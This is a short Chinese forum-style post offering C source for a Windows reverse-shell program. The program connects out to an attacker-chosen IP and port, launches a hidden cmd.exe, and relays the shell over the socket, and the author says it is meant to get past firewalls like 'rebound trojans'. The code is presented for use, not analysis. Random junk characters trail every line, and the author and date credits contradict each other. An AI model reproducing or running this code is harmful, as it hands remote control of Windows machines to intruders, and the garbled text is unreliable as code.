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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5*j:K&R-.K  
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/* ============================== c@OP5L>{  
Rebound port in Windows NT A ,<@m2  
By wind,2006/7 Rx S884  
===============================*/ YFvgz.>QE  
#include r8v:|Q1"  
#include UrK"u{G  
e,Zv]Cym  
#pragma comment(lib,"wsock32.lib") v5 Y)al@  
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void OutputShell(); rPTfpeqN)  
SOCKET sClient; 0yQe5i}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e_.~n<=  
(02g#A`  
void main(int argc,char **argv) F#1kZ@nq  
{ yN:>!SQ  
WSADATA stWsaData; </ZHa:=7  
int nRet; 9dYOH)f  
SOCKADDR_IN stSaiClient,stSaiServer; q/'MS[C  
Au=kSSB  
if(argc != 3) FsY`nWwg  
{ A-0m8<  
printf("Useage:\n\rRebound DestIP DestPort\n"); SLh~_ 5  
return; z7q%,yw3N  
} (xUFl@I!  
{ _X#fq0}  
WSAStartup(MAKEWORD(2,2),&stWsaData); vnZ/tF  
(`mOB6j  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Pz {Ig  
7'UWRRsxUF  
stSaiClient.sin_family = AF_INET; $4h04_"  
stSaiClient.sin_port = htons(0); qKs7WBRJy  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2'dG7lLu4  
R `Q?J[e  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u'Pn(A@1R  
{ 8;.` {'r  
printf("Bind Socket Failed!\n"); P:a*t[+  
return; )$F6  
} 1gAc,s2  
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stSaiServer.sin_family = AF_INET; u]#8 $M2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O 3}P07  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y-7.Vjt^  
Tvrc%L(]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5j1 IH,yW  
{ v1K4$&{F  
printf("Connect Error!"); .m'N7`VB  
return; c8\g"T  
} %Fm`Y .l  
OutputShell(); QvNi8TB  
} g4T3?"xMB_  
eo]a'J9(  
void OutputShell() N$ *>suQ,  
{ J ZNyC!u  
char szBuff[1024]; dr>]+H=3E  
SECURITY_ATTRIBUTES stSecurityAttributes; uTUa4 ^]*  
OSVERSIONINFO stOsversionInfo; ]Y$&78u8t  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; o"f%\N0_8  
STARTUPINFO stStartupInfo; {{GHzW  
char *szShell; LVWxd}0  
PROCESS_INFORMATION stProcessInformation; yOM -;h  
unsigned long lBytesRead; 5I_hh?N4Z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); roL]v\tr  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); XSls]o s  
stSecurityAttributes.lpSecurityDescriptor = 0; GMt)}Hz  
stSecurityAttributes.bInheritHandle = TRUE; 7TR' zW2W  
ZS|Z98  
eKS:7:X  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); f`bIQ9R  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); H|x k${R`  
wfWS-pQ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); w7Pe  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B##C{^5A`  
stStartupInfo.wShowWindow = SW_HIDE; ,at-ci\'  
stStartupInfo.hStdInput = hReadPipe; <"{+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5auL<Pq   
}]Qmt5'NI  
GetVersionEx(&stOsversionInfo); >DkN+S  
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switch(stOsversionInfo.dwPlatformId) <w%Yq?^  
{ sCL/pb]  
case 1: e(4bx5 <*  
szShell = "command.com"; =/M$ <+  
break; zww?  
default: R^F7a0"  
szShell = "cmd.exe"; !~Ax  
break; i:AjWC@]  
} Vl&+/-V  
he_HVRpB  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 0 [*nAo  
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send(sClient,szMsg,77,0); AW]("pt  
while(1) IZzhJK M1V  
{ ]5aux >.n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z&BM%.NZJ  
if(lBytesRead) Y!Usce  
{ ]i9H_K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Cv gPIrl  
send(sClient,szBuff,lBytesRead,0); }D8~^   
} q\-xg*'  
else Ma n^\gkCi  
{ b0rt.XB  
lBytesRead=recv(sClient,szBuff,1024,0); $#g#[ /  
if(lBytesRead<=0) break; qYQUr8{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ".Tf< F  
} v GulM<YY  
} N8u_=b{X  
Xd90n>4S  
return; l;"ub^AH  
}
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